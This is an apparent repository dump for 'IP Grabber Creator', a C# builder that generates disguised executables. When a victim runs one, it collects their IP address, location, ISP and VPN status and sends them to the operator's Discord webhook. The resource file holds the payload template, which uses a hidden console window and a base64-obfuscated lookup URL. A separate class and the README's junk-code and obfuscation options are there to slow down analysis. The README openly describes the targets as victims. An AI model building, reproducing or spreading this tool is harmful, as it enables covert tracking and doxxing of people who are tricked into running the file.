12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {120B1249-671A-48A6-8637-C475CACC01C7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {120B1249-671A-48A6-8637-C475CACC01C7}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {120B1249-671A-48A6-8637-C475CACC01C7}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {120B1249-671A-48A6-8637-C475CACC01C7}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {96295633-9390-420B-B5CC-487D849A1FDC}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 Kye
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/ObfProtection.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | using System.Text;
4 | using dnlib.DotNet;
5 | using dnlib.DotNet.Emit;
6 |
7 | namespace IP_Grabber
8 | {
9 | class ObfProtection
10 | {
11 | public static void String(ModuleDefMD module)
12 | {
13 | foreach (TypeDef type in module.Types)
14 | {
15 | foreach (MethodDef method in type.Methods)
16 | {
17 | if (method.Body == null) continue;
18 | for (int i = 0; i < method.Body.Instructions.Count(); i++)
19 | {
20 | if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr)
21 | {
22 | //Encoding.UTF8.GetString(Convert.FromBase64String(""));
23 | String oldString = method.Body.Instructions[i].Operand.ToString(); //Original String.
24 | String newString = Convert.ToBase64String(UTF8Encoding.UTF8.GetBytes(oldString)); //Encrypted String by Base64
25 | method.Body.Instructions[i].OpCode = OpCodes.Nop; //Change the Opcode for the Original Instruction
26 | method.Body.Instructions.Insert(i + 1, new Instruction(OpCodes.Call, module.Import(typeof(System.Text.Encoding).GetMethod("get_UTF8", new Type[] { })))); //get Method (get_UTF8) from Type (System.Text.Encoding).
27 | method.Body.Instructions.Insert(i + 2, new Instruction(OpCodes.Ldstr, newString)); //add the Encrypted String
28 | method.Body.Instructions.Insert(i + 3, new Instruction(OpCodes.Call, module.Import(typeof(System.Convert).GetMethod("FromBase64String", new Type[] { typeof(string)
29 | })))); //get Method (FromBase64String) from Type (System.Convert), and arguments for method we will get it using "new Type[] { typeof(string) }"
30 | method.Body.Instructions.Insert(i + 4, new Instruction(OpCodes.Callvirt, module.Import(typeof(System.Text.Encoding).GetMethod("GetString", new Type[] { typeof(byte[]) }))));
31 | i += 4; //skip the Instructions that we have just added.
32 |
33 | }
34 | }
35 | }
36 | }
37 | }
38 |
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Threading.Tasks;
5 | using System.Windows.Forms;
6 |
7 | namespace IP_Grabber
8 | {
9 | static class Program
10 | {
11 | ///
12 | /// The main entry point for the application.
13 | ///
14 | [STAThread]
15 | static void Main()
16 | {
17 | Application.EnableVisualStyles();
18 | Application.SetCompatibleTextRenderingDefault(false);
19 | Application.Run(new Form1());
20 | }
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("IP Grabber Creator")]
9 | [assembly: AssemblyDescription("IP Grabber Creator")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("Kye")]
12 | [assembly: AssemblyProduct("IP Grabber")]
13 | [assembly: AssemblyCopyright("Copyright © 2020")]
14 | [assembly: AssemblyTrademark("Kye")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("d5559912-ab22-425d-8c69-842e2ddcac90")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("2.0.0.0")]
36 | [assembly: AssemblyFileVersion("2.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace IP_Grabber.Properties {
12 | using System;
13 |
14 |
15 | ///
16 | /// A strongly-typed resource class, for looking up localized strings, etc.
17 | ///
18 | // This class was auto-generated by the StronglyTypedResourceBuilder
19 | // class via a tool like ResGen or Visual Studio.
20 | // To add or remove a member, edit your .ResX file then rerun ResGen
21 | // with the /str option, or rebuild your VS project.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources() {
33 | }
34 |
35 | ///
36 | /// Returns the cached ResourceManager instance used by this class.
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("IP_Grabber.Properties.Resources", typeof(Resources).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// Overrides the current thread's CurrentUICulture property for all
51 | /// resource lookups using this strongly typed resource class.
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 |
63 | ///
64 | /// Looks up a localized string similar to public static void Main()
65 | /// {
66 | /// Console.WindowHeight = 1;
67 | /// Console.WindowWidth = 1;
68 | /// Console.SetWindowPosition(0, 0);
69 | /// var wr = WebRequest.Create("%webhook%");
70 | /// wr.ContentType = "application/json";
71 | /// wr.Method = "POST";
72 | /// string a = new WebClient().DownloadString(Encoding.UTF8.GetString(Convert.FromBase64String("aHR0cDovL2lwLWFwaS5jb20vbGluZS8/ZmllbGRzPTEyNTQxNjk=")));
73 | /// using (var sw = new StreamWriter(wr.Get [rest of string was truncated]";.
74 | ///
75 | internal static string main {
76 | get {
77 | return ResourceManager.GetString("main", resourceCulture);
78 | }
79 | }
80 | }
81 | }
82 |
--------------------------------------------------------------------------------
/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 | public static void Main()
122 | {
123 | Console.WindowHeight = 1;
124 | Console.WindowWidth = 1;
125 | Console.SetWindowPosition(0, 0);
126 | var wr = WebRequest.Create("%webhook%");
127 | wr.ContentType = "application/json";
128 | wr.Method = "POST";
129 | string a = new WebClient().DownloadString(Encoding.UTF8.GetString(Convert.FromBase64String("aHR0cDovL2lwLWFwaS5jb20vbGluZS8/ZmllbGRzPTEyNTQxNjk=")));
130 | using (var sw = new StreamWriter(wr.GetRequestStream()))
131 | sw.Write("{ \"username\": \"IP Logger\", \"embeds\": [ { \"title\": \"IP Details for __**%ip%**__\", \"description\": \"For more information about this IP click [here](https://whatismyipaddress.com/ip/%ip%)\", \"color\": 1018364, \"fields\": [ { \"name\": \"__Location__\", \"value\": \"Continent: %con%\\nCountry: %country%\\nRegion Name: %region%\\nCity: %city%\" }, { \"name\": \"__Timezone__\", \"value\": \"%timezone%\" }, { \"name\": \"__ISP__\", \"value\": \"%isp%\" }, { \"name\": \"Proxy or VPN\", \"value\": \"%proxy%\" }, { \"name\": \"Using Mobile Data\", \"value\": \"%mobile%\" } ], \"footer\": { \"text\": \"IP Logger made by Kye#5000 | https://github.com/kyeondiscord\", \"icon_url\": \"https://i.imgur.com/PRgWqUn.gif\" } } ]}".Replace("%ip%", GetLine(a, 9)).Replace("%timezone%", GetLine(a, 5)).Replace("%isp%", GetLine(a, 6)).Replace("%proxy%", GetLine(a, 8)).Replace("%con%", GetLine(a, 1)).Replace("%country%", GetLine(a, 2)).Replace("%region%", GetLine(a, 3)).Replace("%city%", GetLine(a, 4)).Replace("%mobile%", GetLine(a, 7)));
132 | wr.GetResponse();
133 |
134 | }
135 |
136 | public static string GetLine(string text, int lineNo)
137 | {
138 | string[] lines = text.Replace("\r", "").Split('\n');
139 | return lines.Length >= lineNo ? lines[lineNo - 1] : null;
140 | }
141 |
142 |
--------------------------------------------------------------------------------
/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace IP_Grabber.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.7.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # IP Grabber Creator
2 | 
3 | 
4 | 
5 |
6 | Create an IP Grabber Easily without any knowledge of coding!
7 |
8 | How To Use
9 |
10 | 
11 | Filename: The name of the exe when outputs
12 | Discord Webhook URL: Where you want the victim's IP to be received from, only valid urls are discord webhook, e.g: https://discordapp.com/api/webhooks/748484003803168849/HSqsiM8uN5WvpMyWj4YbEQAQRkpsTT5aESKmPsKkT9yhlJ_SiFP3DLhYtkqO9nc3Yld9
13 |
14 | Add Junk: Adds some empty classes & strings, etc so if some skiddy tries to decompile it they are intimidated or someshit like that. Also makes it take a fuckload of time to decompile.
15 |
16 | 
17 |
18 |
19 | Obfuscate Exe: Makes the code unreadable and a clutterfuck and makes it take minutes to decompile it.
20 | Credit to https://github.com/Sato-Isolated/MindLated for open source obfuscator!
21 |
22 |
23 | After someone has opened your program you'll get their IP and other useful information:
24 |
25 | 
26 |
27 |
28 |
29 | If you don't know which boxes to check just do all of them as it's the best
30 |
--------------------------------------------------------------------------------
/ip icon-min.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/ip icon-min.ico
--------------------------------------------------------------------------------
/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/packages/Costura.Fody.4.1.0/Costura.Fody.4.1.0.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Costura.Fody.4.1.0/Costura.Fody.4.1.0.nupkg
--------------------------------------------------------------------------------
/packages/Costura.Fody.4.1.0/build/Costura.Fody.props:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/packages/Costura.Fody.4.1.0/lib/net40/Costura.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Costura.Fody.4.1.0/lib/net40/Costura.dll
--------------------------------------------------------------------------------
/packages/Costura.Fody.4.1.0/lib/net40/Costura.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Costura
5 |
6 |
7 |
8 |
9 | Contains methods for interacting with the Costura system.
10 |
11 |
12 |
13 |
14 | Call this to Initialize the Costura system.
15 |
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.dll
--------------------------------------------------------------------------------
/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.xcf:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks
7 |
8 |
9 |
10 |
11 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.
12 |
13 |
14 |
15 |
16 | A list of unmanaged 32 bit assembly names to include, delimited with line breaks.
17 |
18 |
19 |
20 |
21 | A list of unmanaged 64 bit assembly names to include, delimited with line breaks.
22 |
23 |
24 |
25 |
26 | The order of preloaded assemblies, delimited with line breaks.
27 |
28 |
29 |
30 |
31 |
32 | This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.
33 |
34 |
35 |
36 |
37 | Controls if .pdbs for reference assemblies are also embedded.
38 |
39 |
40 |
41 |
42 | Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.
43 |
44 |
45 |
46 |
47 | As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.
48 |
49 |
50 |
51 |
52 | Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.
53 |
54 |
55 |
56 |
57 | Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.
58 |
59 |
60 |
61 |
62 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |
63 |
64 |
65 |
66 |
67 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.
68 |
69 |
70 |
71 |
72 | A list of unmanaged 32 bit assembly names to include, delimited with |.
73 |
74 |
75 |
76 |
77 | A list of unmanaged 64 bit assembly names to include, delimited with |.
78 |
79 |
80 |
81 |
82 | The order of preloaded assemblies, delimited with |.
83 |
84 |
85 |
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/Fody.6.2.4.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/Fody.6.2.4.nupkg
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/License.txt:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) Simon Cropp
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in
13 | all copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | THE SOFTWARE.
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/build/Fody.targets:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | $(ProjectDir)FodyWeavers.xml
5 | $(MSBuildThisFileDirectory)..\
6 | $(FodyPath)netstandardtask
7 | $(FodyPath)netclassictask
8 | $(FodyAssemblyDirectory)\Fody.dll
9 | $(DefaultItemExcludes);FodyWeavers.xsd
10 | true
11 | 15
12 | $([System.Version]::Parse($(MSBuildVersion)).Major)
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
37 |
38 |
40 |
60 |
61 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
77 |
78 |
82 |
83 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
101 |
102 |
110 |
111 |
112 |
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netclassictask/Fody.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netclassictask/Fody.dll
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netclassictask/FodyCommon.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netclassictask/FodyCommon.dll
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netclassictask/FodyHelpers.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netclassictask/FodyHelpers.dll
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netclassictask/FodyIsolated.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netclassictask/FodyIsolated.dll
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netclassictask/Mono.Cecil.Pdb.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netclassictask/Mono.Cecil.Pdb.dll
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netclassictask/Mono.Cecil.Pdb.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netclassictask/Mono.Cecil.Pdb.pdb
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netclassictask/Mono.Cecil.Rocks.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netclassictask/Mono.Cecil.Rocks.dll
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netclassictask/Mono.Cecil.Rocks.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netclassictask/Mono.Cecil.Rocks.pdb
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netclassictask/Mono.Cecil.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netclassictask/Mono.Cecil.dll
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netclassictask/Mono.Cecil.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netclassictask/Mono.Cecil.pdb
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netstandardtask/Fody.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netstandardtask/Fody.dll
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netstandardtask/FodyCommon.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netstandardtask/FodyCommon.dll
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netstandardtask/FodyHelpers.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netstandardtask/FodyHelpers.dll
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netstandardtask/FodyIsolated.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netstandardtask/FodyIsolated.dll
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netstandardtask/Mono.Cecil.Pdb.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netstandardtask/Mono.Cecil.Pdb.dll
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netstandardtask/Mono.Cecil.Pdb.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netstandardtask/Mono.Cecil.Pdb.pdb
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netstandardtask/Mono.Cecil.Rocks.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netstandardtask/Mono.Cecil.Rocks.dll
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netstandardtask/Mono.Cecil.Rocks.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netstandardtask/Mono.Cecil.Rocks.pdb
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netstandardtask/Mono.Cecil.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netstandardtask/Mono.Cecil.dll
--------------------------------------------------------------------------------
/packages/Fody.6.2.4/netstandardtask/Mono.Cecil.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/Fody.6.2.4/netstandardtask/Mono.Cecil.pdb
--------------------------------------------------------------------------------
/packages/dnlib.3.3.2/LICENSE.txt:
--------------------------------------------------------------------------------
1 | Copyright (C) 2012-2019 de4dot@gmail.com
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining
4 | a copy of this software and associated documentation files (the
5 | "Software"), to deal in the Software without restriction, including
6 | without limitation the rights to use, copy, modify, merge, publish,
7 | distribute, sublicense, and/or sell copies of the Software, and to
8 | permit persons to whom the Software is furnished to do so, subject to
9 | the following conditions:
10 |
11 | The above copyright notice and this permission notice shall be
12 | included in all copies or substantial portions of the Software.
13 |
14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
15 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
16 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
17 | IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
18 | CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
19 | TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
20 | SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
21 |
--------------------------------------------------------------------------------
/packages/dnlib.3.3.2/dnlib.3.3.2.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/dnlib.3.3.2/dnlib.3.3.2.nupkg
--------------------------------------------------------------------------------
/packages/dnlib.3.3.2/lib/net35/dnlib.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/dnlib.3.3.2/lib/net35/dnlib.dll
--------------------------------------------------------------------------------
/packages/dnlib.3.3.2/lib/net45/dnlib.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/dnlib.3.3.2/lib/net45/dnlib.dll
--------------------------------------------------------------------------------
/packages/dnlib.3.3.2/lib/netstandard2.0/dnlib.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/KyeOnDiscord/ip-grabber-creator/903cbeb962581de69a3da561bffb51963b5aa87c/packages/dnlib.3.3.2/lib/netstandard2.0/dnlib.dll
--------------------------------------------------------------------------------